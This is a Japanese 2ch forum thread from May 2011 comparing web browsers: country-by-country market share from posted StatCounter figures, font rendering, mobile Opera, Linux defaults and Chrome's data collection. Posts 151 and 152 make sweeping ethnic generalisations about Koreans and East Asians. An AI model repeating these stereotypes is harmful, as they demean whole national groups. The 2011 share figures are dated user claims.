112 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:06:45.99 ID:eBGUt1zD0
>>106
どういう平均をしてるのかしらないけど、
Firefoxのシェアはイギリスやフランスだと日本と変わらんよ。


113 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:25:52.60 ID:YEf/uHf80
ドイツを始めとする中央ヨーロッパや東ヨーロッパだとFirefoxが圧倒的だよ。

114 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:36:03.62 ID:QMTdHSNq0
そしてロシアはOperaを使った

115 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:48:41.44 ID:YEf/uHf80
いや最近はロシアもFirefoxの方が多いみたい。

116 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:50:06.27 ID:eBGUt1zD0
>>113
ドイツはシェア高いか?具体的には?
中央ヨーロッパって、どこだ?具体的には?



117 :名無しさん@お腹いっぱい。:2011/05/20(金) 21:57:51.28 ID:3LYyyReQ0
ドイツはFirefox6割近いよ

118 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:00:17.49 ID:9SzxCjmz0
>>111
>>81で俺がいったのはChromeが使い物にならないということだ。俺はChromeをブラウ
ザにという抽象をしていない。お前がいう俺の理屈というのは間違っている。それは
お前の理屈だ。

俺になんたら言われる筋合いはないというのは、nProによってブラウザを比較する話
がお前だけで完結しているのであればわかる。しかし、お前は俺の発言に返信してお
れの言いたかったことをすり替えていっているの。お前がnPro云々で他のブラウザを
比較し考えるのは自然な流れなのかも知れない。しかし、お前が俺の話をすり替える
流れは不自然だ。

119 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:07:24.06 ID:6efbwD4C0
Chromeが使い物にならないよに対して
いやいやIE9も使い物にならないよ
Chromeバカにする奴は死ね
って言ってるんでしょ














つまりOpera最強

120 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:08:49.91 ID:eBGUt1zD0
>>117
ふーん。でもイギリス人やフランス人的にはヨーロッパのシェアでドイツのシェアを語られるのは、
日本人がアジアのシェアで韓国や中国のシェアを語られるのと同じくらい微妙な気分だと思う。


121 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:13:00.15 ID:3LYyyReQ0
知らんがな。
ドイツのこと聞いてたから答えただけ。
後、フランスはFirefoxのシェア伸びてるよ。

122 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:21:16.69 ID:eBGUt1zD0
>>121
ふーん。Firefoxの利点って何だと思う?個人的には速度に関しては速くないと思う、
特に3.6くらいのバージョンは遅かった。ページ内の検索やタブの使い勝手で少しは
よかったと思うけれど。


123 :名無しさん@お腹いっぱい。:2011/05/20(金) 22:49:55.86 ID:9SzxCjmz0
>>122
フォントのレンダリングがきれいなところだと思う。

IE,OperaはTrueTypeフォントのカーニングに対応している。
FirefoxはTrueTypeフォント,OpenTypeフォントのカーニング,リガチャに対応している。

Firefoxはスタイルシートでフォントの補完ができる。
font-family : hogehoge , fugafugaと指定するとhogehogeにないグリフを
fugafugaで補完することができる。IEもできるが,Operaはたしかできなかったと思う。


124 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:00:06.05 ID:2SNU624u0
>>111
くだらない回避策を使うよりもIE使えばすむだけの話だろw
狐でも同じことを言えるが

125 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:02:32.26 ID:2SNU624u0
>>122
横レスだが使い勝手だな
Operaはカスタマイズの手間がかかりすぎる
ChromeはUIの問題だろうが、どうにも使いにくい
適当に定番の拡張を入れておけば考えなくても使えるし、何かやりたいと思って工夫したり、探し回った場合は大体見つかるのは狐が早い
そしてわかりやすい

126 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:04:45.26 ID:eBGUt1zD0
>>123
なるほど。結局、マイナーな国のマイナーな言語への対応が比較的良好ということだな。
メジャーな、英語、フランス語、日本語あたりだと特に利点は大きくないと。

スレ違いだけど、Wordに中国語フォントが混じってるとhtmlで保存してfirefoxで見ると
とりあえずは豆腐がなくなるな。


127 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:11:14.76 ID:6gh9BFxoP
日本語がメジャー?

128 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:18:06.51 ID:eBGUt1zD0
>>127
統計にもよるけど1億2千万人も使っているわけで10位くらいにはなってると思うよ。
Firefoxのシェアが高いヨーロッパの国々の、フィンランド語(英語でフィニッシュと
言われると一瞬何を聞かれてるのか分からなくなる)やハンガリー語よりは上かと。


129 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:33:28.57 ID:9SzxCjmz0
>>126
こんなにも伝わらないものか。なんだかもう申し訳なくなってきた。

俺は,Firefoxはマイナー言語への対応が良好だとはいっていない。Firefoxはフォン
トのレンダリングがきれいだといった。

カーニングというのは文字間隔を調整するものだ。リガチャというのは文字を結合す
るものだ。カーニング,リガチャはアルファベットをきれいに見せるために用いられ
るものだ。和文字でも用いられるのかは知らない。英語,フランス語はアルファベッ
トを使う。英語,フランス語にとって利点はある。カーニング,リガチャはマイナー
言語を補助するためのものではない。

130 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:40:25.36 ID:eBGUt1zD0
>>129
うーん。それはFirefox4の新機能だからシェアの高さとは関係ないと思うんだが・・・。


131 :名無しさん@お腹いっぱい。:2011/05/20(金) 23:47:12.38 ID:kT4KVcnx0
>>130
ってかあの書き方だと、単にシェア獲得の理由というより
個人的な利点と取るのが自然だろw 121=123って訳でもないし

Firefox4の新機能だからシェアに関係ないって理屈も訳分からない


ってかなんだかんだでカラープロファイルにまともに対応してるブラウザがFirefoxとsafariくらいしかないという現実
まあそんな重要なものでもないけど

あとホイールクリックで開けばなんでも新規タブで開いてくれるのが好き、
Chromeも結構行けた気がするけどOperaは全然だった気がする

132 :名無しさん@お腹いっぱい。:2011/05/21(土) 00:03:25.45 ID:hStBvOUt0
シェアの問題となってくると、ブラウザの速さ・機能性うんぬんよりも
こんなスレの存在すら知らない層への認知・イメージ戦略が大きいよな
だから資金力や人材が集まってるchromeが伸ばしていくと予想

133 :名無しさん@お腹いっぱい。:2011/05/21(土) 00:10:35.10 ID:J4/JBrxX0
>>131
話の流れから、シェアを取った理由というつもりで聞いたんだけど伝わってないんだったら
すまん。Firefox4は出てから間がないからシェアには貢献してないだろう。3.6くらいの重さは
ひどいと思うんだけど2の軽さや使い勝手(正直3や4と変わらない)は素晴らしかったと思う。

>>132
Googleにつないだときに宣伝が出るし、IEでのGoogle Mapの重さを体感すると有りえるかも。


134 :名無しさん@お腹いっぱい。:2011/05/21(土) 00:23:56.66 ID:8KZ3jHCR0
予想も何もChromeはどんどんシェア広げてるし、IEは減ってるじゃん

135 :名無しさん@お腹いっぱい。:2011/05/21(土) 01:00:23.62 ID:bygvWm6n0
IEが駆逐できれば何でもいいお( ^ω^)
チョロメも狐ももっと増えろー

136 :名無しさん@お腹いっぱい。:2011/05/21(土) 01:18:28.52 ID:Ice0/ONH0
>>133
べつに自然ってわけじゃないか、でも個人的な利点ととってもおかしくはないと思う

IE9とかFirefox4以上に最近でたブラウザだけど
既にIE6のシェアを超えたとか何とか
Vista・7の縛りがありながらでこれならFirefox4もそれなりに行ってそうな気がする

137 :名無しさん@お腹いっぱい。:2011/05/21(土) 05:44:46.57 ID:8TmrLkL40
>>124
IE でも使えなかった。更に、回避策もなかった、って言われてんだろ。
ソース付きで。日本語不自由してるのか?

そしてヨーロッパでは既にFirefoxとシェアが逆転してるのを
認めたくないバカが多くてワロタw

138 :名無しさん@お腹いっぱい。:2011/05/21(土) 06:03:35.07 ID:yk7UZWqoP
個人的には拡張機能が標準になりつつある今
Firefoxは他のブラウザの拡張でできない部分にしか価値ないな

あとカスタマイズできることが多いうえにそれなりのシェアもあるから
ちょっと弄りたい部分があったらアホでもググってすぐ解決できるのは良いかも

139 :名無しさん@お腹いっぱい。:2011/05/21(土) 06:27:07.43 ID:8TmrLkL40
2011年5月1日まとめ
<ヨーロッパ全体>(EU加盟国全体)
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501
Firefox-37.91% IE-32.94% Chrome-19.16% Safari-5.10%
<ドイツ>
http://gs.statcounter.com/#browser-DE-daily-20100501-20110501
Firefox-59.87% IE-20.14% Chrome-11.38% Safari-4.39%
<フランス>
http://gs.statcounter.com/#browser-FR-daily-20100501-20110501
Firefox-36.15% IE-35.66% Chrome-18.88% Safari-7.39%
<イギリス>
http://gs.statcounter.com/#browser-GB-daily-20100501-20110501
IE-44.07% Firefox-22.74% Chrome-21.4% Safari-9.10%
<イタリア>
http://gs.statcounter.com/#browser-IT-daily-20100501-20110501
IE-42.21% Firefox-27.18% Chrome-23.60% Safari-5.38%
<アメリカ>
http://gs.statcounter.com/#browser-US-daily-20100501-20110501
IE-43.49% Firefox-26.40% Chrome-16.08% Safari-12.56%
<カナダ>
http://gs.statcounter.com/#browser-CA-daily-20100501-20110501
IE-43.41% Firefox-27.56% Chrome-16.42% Safari-11.02%
<日本>先進国の中では遅れ気味。北米型で、韓国・中国などに大きく引きづられている感じ。
http://gs.statcounter.com/#browser-JP-daily-20100501-20110501
IE-58.36% Firefox-19.79% Chrome-12.65% Safari-6.23%
<ロシア>
http://gs.statcounter.com/#browser-RU-daily-20100501-20110501
Firefox-32.24% Opera-28.87% IE-18.98% Chrome-17.37%
参考<中国>ほぼIE独占 87.01%
http://gs.statcounter.com/#browser-CN-daily-20100501-20110501
参考<韓国>ほぼIE独占 93.92%
http://gs.statcounter.com/#browser-KR-daily-20100501-20110501

140 :名無しさん@お腹いっぱい。:2011/05/21(土) 07:17:42.67 ID:8TmrLkL40
>>139
ロシアが一番興味深い。
新しい物が出ればすぐ飛びついて、いいものは使い続ける傾向が最も強い。
宣伝とかイメージ等関係なく、性能でいいものを選んでいる感じ。
ロシアで Chrome がどこまで伸びるかで、今後の動向が分かる気がする。

141 :名無しさん@お腹いっぱい。:2011/05/21(土) 07:27:40.06 ID:xw67HAj30
欧州は独禁法の関係でWinアップデートでWebブラウザ選択画面が出るからな
これシェアに相当影響してると思うぞ

142 :名無しさん@お腹いっぱい。:2011/05/21(土) 07:37:27.26 ID:QNHTNdOh0
ロシアは体制崩壊の混乱から20年しか経ってないからな。

国民は、未だに紙幣よりも金を信用すると言うし。
いろいろ考え方は違うんだろう。

143 :名無しさん@お腹いっぱい。:2011/05/21(土) 07:42:09.40 ID:wfEMmoXe0
ドイツ先進過ぎワロタw

てか、ドイツは OS でも Windows7 > Windows XP
だし、大きく先取りしている感じだな。

さすが ゲルマン魂とでもいうべきなのか?w


144 :名無しさん@お腹いっぱい。:2011/05/21(土) 08:05:09.46 ID:J4/JBrxX0
>>139
いいページを教えてくれてありがとう。どの国でもFirefoxは漸減傾向だな。
やっぱり時々気になる重さがあるから、軽いChromeが気になる感じかな。


145 :名無しさん@お腹いっぱい。:2011/05/21(土) 08:18:38.77 ID:RMtilV9z0
GoogleがChromeをゴリ押ししているだけだと思います。
Chromeはゴリ押しブラウザだと思います。

146 :名無しさん@お腹いっぱい。:2011/05/21(土) 08:30:42.67 ID:QNHTNdOh0
この記事が興味深い。

なぜAndroidのブラウザはChromeでないのか? TechCrunch(5/18)
ttp://jp.techcrunch.com/archives/20110517google-chrome-android/

今年のI/OでGoogleは、AndroidとChrome OSという二頭立てのOS体制を全
面的に支えていく姿勢を示した。それぞれ、まったく別のチームが担当してい
て、両者の交流もあまりない。

先週Googleの役員たちは、同じ答を何度も繰り返したが、この二つのOSは目
標が異なる。いろんな点で、違いも大きい。Chromeは最初はWebブラウザに
すぎなかったが、今ではGoogle内部でイデオロギーの柱みたいなものになっ
ている。誰も認めないけど、イデオロギーの戦いでは勝つのはChromeか
Androidのどちらかだ。そこで両チームは、協働しづらい。


147 :名無しさん@お腹いっぱい。:2011/05/21(土) 10:11:47.31 ID:J4/JBrxX0
>>103
試してみたら、単独でプロキシ設定が変えられるみたいだね。システム(IE)の設定は
同時に起動しても変化してない。

単にメニュー画面一つ増やせば簡単に変えられるのに。それともシステムの設定を
毎回持ってきたほうが利点があるということか?

最初の画面の問題や、インストール先の問題などから複数の人が使うパソコンでは
使いにくそう。制限ユーザーでもインストールできるから、それでも使えということだろうけど。


148 :名無しさん@お腹いっぱい。:2011/05/21(土) 10:48:26.94 ID:Ice0/ONH0
ってかロシアはOpera>Chromeなのか
やっぱ普通に使いやすいってことなんだろな 結構軽いし

149 :名無しさん@お腹いっぱい。:2011/05/21(土) 11:10:45.67 ID:pSaG+hFR0
ロシアの人は赤いのが好きなんだよ

150 :名無しさん@お腹いっぱい。:2011/05/21(土) 11:47:16.49 ID:hgN9x/Nq0
しかし何で韓国はこんなにIEのシェアが高いんだろう。不思議だ。

151 :名無しさん@お腹いっぱい。:2011/05/21(土) 11:51:10.16 ID:eMfyrfxhP
情弱しかいないんだろ

152 :名無しさん@お腹いっぱい。:2011/05/21(土) 11:59:05.10 ID:wfEMmoXe0
>>150
中国・韓国・日本は
「長いものに巻かれよ」「お上に全て任せよ」と
いう風によく調教されてるから。
自発的に起こった民主主義ではないからな。

153 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:23:17.76 ID:4jEz+hwO0
>>127
亀レスだがインターネットで使われている言語は英語中国語に続いて日本語が三位だぜ。ちなみに四位がスペイン語。ソース忘れた。

154 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:24:51.61 ID:J4/JBrxX0
日本はFirefoxのシェアが異常に高いドイツなどの国を除けば、だいたい似たようなシェアでは。
特に英語圏の国は何故かIEのシェアが高め。

しかしIEとgoogleの相性が段々悪くなってるな。わざとやってるだろ。


155 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:32:20.62 ID:4jEz+hwO0
>>140
でもなんかOpera10.のシェア高いしFirefoxは3.ばっかだぜ。不思議だな。

156 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:34:19.10 ID:S9cQ/fpr0
>>150
韓国はActiveX至上主義
今はもうやめようって方向にいってるけどなかなか進まないみたい

157 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:36:47.23 ID:wfEMmoXe0
>>154
似てないと思うよ。>>139 みれば、
日本含むアジアの国々だけが、取り残されてるのはハッキリしてる。

他の国は、全て、
IE は 非IE よりも少ないという関係が成り立っている。
しかも、どんどん差が開いて、いくつかの国では
Firefox 単独に負けてる状態。

日本・中国・韓国かそうでないかを判別する公式
IE > Firefox + Chrome + Safari → 日本・中国・韓国



158 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:38:34.27 ID:xw67HAj30
ロシアのOperaはモバイルじゃね?
PC普及率は低くて、スマホでのOperaのシェアが異常に高いらしいし

159 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:41:22.75 ID:wfEMmoXe0
>>155
バージョン見ればわかるよ。「その他」が多いでしょ。
http://gs.statcounter.com/#browser_version-RU-daily-20100501-20110501
*5月1日の時点では、ブラウザのバージョン別だと、
 IE9 と Chrome11 と Firefox4 は、「その他」枠でカウントされている。
 ブラウザ別だと、ちゃんと IE, Chrome, Firefox に振り分けられてるけど。

やっぱり、ロシアは新しいものを(他の国に比べて)積極的に試しているのは明白。

160 :名無しさん@お腹いっぱい。:2011/05/21(土) 12:57:51.93 ID:SvxVh/D/0
韓国でのIEの異常シェアは、ActiveXを使いまくってる負の連鎖のようだけど
MSに対して「抱き合わせだ」と騒いでなかったっけ?
あと他の国以上にAppleの下請けやってるのに、未だにAppleの直営店がないんだよな。
不思議な国。

161 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:13:01.29 ID:4jEz+hwO0
>>158
Mobileは別枠。Operaが73.97%のシェア。Statisticっての開けばMobileBrowserってのがある。

>>159
Firefox4.0その他扱いかよwwwwIE9もwwwww

162 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:18:54.40 ID:s88Tfy220
モバイルのブラウザはOperaの1強はしょうがないよ
標準のが駄目すぎるもん

163 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:31:13.44 ID:wfEMmoXe0
>>161
4月の間は、IE9 なんて 全国的に見ればシェア 1%かそこらだったじゃん。
その他扱いで問題なし。 5月がおわって、6月1日になれば、バージョン別のにも反映されるよ。
バージョン別でなければ、キチンとカウントされてるんだから、あまり心配するなw


164 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:35:43.30 ID:Cg7Anc4j0
>>162
トリプルスコアでWebKitに負けてるけど…
ttp://gs.statcounter.com/#mobile_browser-ww-monthly-201105-201105-bar

伝説党がOperaの強みとして触れ回ってるモバイルも組み込みも幻想なんだよ

165 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:43:20.29 ID:J4/JBrxX0
>>157
IEのシェア50%を境にしたらそうなるだろうけど日本と英語圏だと基本的には似たような感じでは。

ところで、普通の人がわざわざFirefoxに乗り換えるメリットって?IE6の低機能やIE7の遅さだと
乗り換えるメリットはあったかもしれないけど、IE8から乗り換えるメリットってある?

正直Firefoxも3.6で遅くなって使う気がしなくなった。4.0は悪くないけどどうせ入れ替えるのなら
Operaも視野に入ってくる。


166 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:43:32.68 ID:s88Tfy220
なるほど、WebKitで見ればシェアは上か

じゃあこのスレも、Trident×Gecko×Presto×WebKitでいいや

167 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:56:25.42 ID:Cg7Anc4j0
ああ、残念だけどモバイルの世界では
Operaが単体のブラウザシェアで20%程度では、存在してないも同然だからね…
利用されてるOperaはビュアーでしかないんだよ

168 :名無しさん@お腹いっぱい。:2011/05/21(土) 13:58:48.35 ID:/zTiVNQN0
オペラ厨の虚言癖と妄想癖はやばい

169 :名無しさん@お腹いっぱい。:2011/05/21(土) 14:01:18.19 ID:s88Tfy220
5台に1台使われていても無視されるシェア
それがモバイルの世界

おっそろしい世界やでー

170 :名無しさん@お腹いっぱい。:2011/05/21(土) 14:10:46.48 ID:Cg7Anc4j0
ああ、過渡期のビュアーでしかないからね
ガラケーのシェアみたいなもんだ

171 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:08:18.68 ID:JA87OrnP0
>>7
Windows7 + IE9 or FireFox4だと同じになるね
Windows7 + Chromeだとバラバラ

Windows7 + VMware player + FireFox4 同じに見える。
Windows7 + VMware player + Chrome バラバラに見える。

なんで?

172 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:16:48.87 ID:UyCU09Kf0
Firefox6がAuroraにチャンネル変わったぞ

173 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:24:18.93 ID:JA87OrnP0
OperaとSafariは不要だと思うわ。
戦いは、IExChromexFireFox でしょ。
と煽ってみる。

174 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:32:35.87 ID:qgZ/69N30
Safari は確かに IE とは別世界の戦いなんよね
メインはMacでの Safari x Firefox x Chrome x Opera って戦いだから

175 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:42:46.73 ID:Wdpfdi430
まぁWindowsしか使えない人には知らないことも沢山あるさ

176 :名無しさん@お腹いっぱい。:2011/05/21(土) 17:45:29.74 ID:J4/JBrxX0
Linuxが使えてもブラウザの知識はあんまり広まらん・・・。


177 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:03:47.96 ID:3MngJyJm0
LinuxでのFirefoxのしっくり感は異常

178 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:24:53.24 ID:vky24O1K0
Linuxだけで十分だと思っていたけど、
IE9が出てからこっち、Windowsが少しだけ羨しい

どっちにしてもOperaを使うんだけど

179 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:26:23.07 ID:VZTZ8EI00
少し上で挙げられているFirefoxのシェアが高い国はLinuxの普及率も高いんだとか。

180 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:46:41.36 ID:wfEMmoXe0
>>178
ないないw

181 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:48:38.06 ID:3MngJyJm0
なんつうか日本のIEのシェアの高さにはガッカリさせられるな。
もうとっくにヨーロッパに追いついたと思っていたけれど、
まだまだ意識がいまいちなのを思い知らされるな。

182 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:53:03.15 ID:3MngJyJm0
OS付属のお仕着せですっかり満足してしまい、
もっと良いものをきちんと自分で選ぼうとする人が少ないということか。

まあ、別にいんだけどさ。ちょっと寂しい。

183 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:53:35.32 ID:Rilgj+OR0
IE9 vs Chrome10 vs Firefox4速度比較(FishBowl Benchmark) Part1
http://www.youtube.com/watch?v=Zd1UGA-BRSQ

IE9 vs Chrome10 vs Firefox4速度比較(FishBowl Benchmark) Part2
http://www.youtube.com/watch?v=OAnoUauOfXY

184 :名無しさん@お腹いっぱい。:2011/05/21(土) 18:58:01.59 ID:4c0cZZJY0
何の意識なんだろう・・・
あっちはEUの国策でやってるだけなのに

185 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:16:20.49 ID:wfEMmoXe0
いい加減許してやれよ。
IE 使ってる人の唯一の心の拠り所は、

「IE が最も使われている」ということだけなんだから。

ヨーロッパでは既に逆転してるなんて
逆鱗にふれるようなこと行っちゃダメだろ。

186 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:19:22.90 ID:4jEz+hwO0
ヨーロッパと一括りにするのはどうかと思います。
特にイギリスとか

187 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:29:04.07 ID:J4/JBrxX0
>>181
別にFirefoxを使うのが進んでるとか、IEは遅れてるとか思わないけどな。
何か根拠があるのなら教えてくれ。

>>179
逆にどうしてもLinuxのシェアが高いとFirefoxのシェアが上がるよね。

>>184
EU全部じゃないけどやっぱり国策でやってるっぽいね。国によって
シェアの違いが大きすぎる。オランダとドイツ、スウェーデンとフィンランドでも
大きく違う。

>>185
それはない。使ってる人というより職場のデータベースとかの設計者は
シェアが高いIEはありがたいだろうけれど。


188 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:32:43.22 ID:4jEz+hwO0
>>179
そりゃまぁ大抵のLinux系OSのデフォブラウザーがFirefoxだからなぁ

189 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:43:23.43 ID:AtFnSEYX0
いずれWebKitに侵食されるだろうな
モバイルのOperaみたいに

190 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:47:17.38 ID:Wdpfdi430
まず日本の教育がWindowsとMacとLinuxを平等に扱っているのかという問題もある
Windowsありきの授業ばかりしていたら、そりゃ自然とIEばかりになるだろ
周りもIE使いだらけだから、他のブラウザを知る機会も大幅に少なくなるんだよな

191 :名無しさん@お腹いっぱい。:2011/05/21(土) 19:59:56.85 ID:wfEMmoXe0
>>186
EU全体でもう Firefox > IE なわけで。
ヨーロッパと言わずに、EU っていえばよかったのか?

192 :名無しさん@お腹いっぱい。:2011/05/21(土) 20:01:33.22 ID:J4/JBrxX0
>>190
OSに関してはほとんどの国がそうだろう。大学教育でUNIXが必要なら
LINUXも使うだろうが最近はその部分にむしろMacが食い込んでる。

>>189
結局Firefoxのシェアは劇的に伸びることはなく漸減傾向が続くだろうし、
Chromeのシェアがどこまで伸びるかということだけだな、ブラウザの
シェアに関しての話題は。


193 :名無しさん@お腹いっぱい。:2011/05/21(土) 23:56:56.17 ID:J4/JBrxX0
何故かスレが止まってしまった・・・。何か言ってはいけないこと言った?


194 :名無しさん@お腹いっぱい。:2011/05/22(日) 00:00:42.74 ID:eZ/Akihr0
そうだね

195 :名無しさん@お腹いっぱい。:2011/05/22(日) 08:42:59.67 ID:uAzTx2NdP
そういえば最近、Chromeブラウザでニコニコ動画で特定ジャンルばかり見てて、俺もそろそろニコ厨かと思ってたんだが

久しぶりにYoutube(半年ぶり)に見たら、ニコニコ動画でいつも見る特定カテゴリーの動画が、おすすめ埋め尽くしてて
超怖かったわw

これが個人情報収集っていうのか・・まじあせるな。
これってGoogleと契約してる企業とかのサービス使ってたら紐付けされて身元特定されるって事だよな

自分の勤めてる企業が、もし関連企業だったらと考えたらゾっとした^^;


196 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:03:00.74 ID:8IIuk4nZ0
>>195
ニコ動で見た動画がChromeでURL収拾されて ← ここまではよく知られた事実
それがyoutubeに反映されてるの?

197 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:11:54.92 ID:uAzTx2NdP
っぽい感じだな。
同じ動画まで「おすすめ」にあったわ。すげー気持ち悪いがPCが遅いのでChromeを使わざる得ない。


198 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:17:25.15 ID:Sfg9Vrzl0
俺はそんなんならんぞ
超便利やん
どう設定したらそうなるんや?

199 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:27:53.33 ID:8IIuk4nZ0
youtubeにログインしてみたら、いつの間にかgoogleアカウントとの連動が必要になってて
携帯電話番号の入力が必須になってたww
すげぇ!!

200 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:28:07.24 ID:hfWJ9BfXP
Chromeなんか使うからだろ馬鹿か
Chromium使え

201 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:31:06.32 ID:SmVD255X0
真面目にプライベートクラウドを考える時代になってきてるな。
まずOperaはUniteをブラウザから切り離した方がいいと思う。

202 :名無しさん@お腹いっぱい。:2011/05/22(日) 09:42:46.82 ID:g1fJjXAF0
>>189
GNOMEの公式ブラウザ(epiphany)はWebKitベースに移行したし
KDEの標準ブラウザ(konqueror)の積んでるエンジンはそもそもWebKitの元になったエンジンだしな

203 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:08:11.69 ID:VhrD0hcf0
>>195-200
遅いPCで動画を使うなら、Opera>Chrome>>Firefoxな感じがする。右二つは
いつの間にかCPU使用率が100%になって戻らなくなる。

ChromeはFirefoxよりはかなりましだけどFlashと相性が悪い感じ。Firefoxは
4になって少しよくなったが3.6はひどかった。

>>202
そうは言っても現実的にウェブを使おうと思ったらFirefox入れるんじゃない?


204 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:11:41.65 ID:vODITJzc0
>>202
UbuntuはGNOMEのくせにepiphanyがデフォでインストールされてない
だけど、デフォルトブラウザがChromeだかChromiumだかになるという
話だし、やっぱりWebkit化は進むんだろうね

205 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:14:54.20 ID:8xxV6YvP0
ChromiumデフォルトはNetbook Editionの話

206 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:22:46.38 ID:vODITJzc0
>>205
ああ、本当だ。つか、この記事を読んだの、一年前か
ttp://jp.techcrunch.com/archives/20100514the-new-browser-wars-will-ubuntu-drop-firefox-for-google-chrome/
ttp://www.ubergizmo.com/2010/05/ubuntu-netbook-edition-10-10-might-ditch-firefox-for-chromium/
時が経つのが……

207 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:28:17.52 ID:8xxV6YvP0
そんなNetbook Editionは消滅したけどな

208 :名無しさん@お腹いっぱい。:2011/05/22(日) 10:49:05.72 ID:vODITJzc0
まじか……
己の情弱振りに涙が出らあ

209 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:08:44.99 ID:G1JN6sf60
ってか、不具合起こしまくってるFlashはいい加減衰退してほしい
HTML5で実装すれば、ブラウザネイティブだから、まだマシになるとおもう

210 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:17:36.96 ID:ANwW9Ijn0
現時点ではHTML5は全然使い物にならない
不安定すぎる
Flashの方がまだマシ

211 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:24:29.77 ID:G1JN6sf60
知識がないからなんとも言えないけど、ブラウザによるんじゃないの?
まあHTML5自体あんまり普及してないからとりあえず対応してる程度のブラウザが多いのかもしれないけど

212 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:29:10.36 ID:EGsmtAcF0
operaはバグ多すぎて使えたもんじゃない

213 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:30:53.67 ID:0w3uL2Qq0
Operaスレのサイクル

alpha登場→やべえ超はええOpera最強伝説wwwww ←今ここ
beta登場→betaにしてはバグ取れねーな、alphaより遅くなってるしこのバージョンはハズレか
RC発表→え…こんなバグバグでRC出しちゃうの…大丈夫か…? 
final発表→なにこのクソバージョン、Opera終わったな

alpha登場→ちょwwwww爆速wwwwOpera最強伝説始まったなwwww

214 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:36:00.87 ID:XTfKJSLn0
モバイル版の話が出たのにここまでFennecの話題なし
まぁウンコ過ぎてOperaやNetFrontと比較する以前のレベルで
話にならなかったけど

215 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:41:41.20 ID:fSnrJ4Qr0
そりゃまだ草案段階だし>html5

216 :名無しさん@お腹いっぱい。:2011/05/22(日) 12:58:56.41 ID:VhrD0hcf0
>>212-213
Operaに使えないようなバグあったっけ?終了した後に時々プロセスが残るけど
これはFirefoxも同じ傾向がある。

速度に関しては起動時などにもたっとするけど立ち上がってしまえばChromeと
そんなに変わらん感じ。もちろん起動速度などを考えると「爆速」はChromeに
ふさわしいな。ただChromeもFlashと相性悪く、Operaは意外なほど相性がいい。


217 :名無しさん@お腹いっぱい。:2011/05/22(日) 13:06:43.41 ID:g1fJjXAF0
>>204
まあ、実際LinuxではFirefoxはそう簡単に揺るがんだろな
ほとんど標準搭載みたいな扱いになっちゃってて、実質的に
WindowsにおけるIE、MacにおけるSafariの地位を得ちゃってる
KDEではKonquerorの普及率は高いけど、あれはファイラも兼ねてて
ブラウザとして本格利用してる人がどれだけいるのか…

218 :名無しさん@お腹いっぱい。:2011/05/22(日) 13:10:23.77 ID:8KpoR1/v0
モダンブラウザの特徴(イメージ)

Chrome: 総合的に新技術を取り入れ
Firefox: HTML要素/CSSを中心に新技術を取り入れ
IE9: 新技術よりもW3Cによる仕様の確定待ち
Opera: 上3つの特徴のそれぞれ半分ぐらいを足しあわせたような特徴、というかよく知らない

219 :名無しさん@お腹いっぱい。:2011/05/22(日) 14:40:26.58 ID:77rGUW4BO
どうせ結局はグーグルさんなんだろ

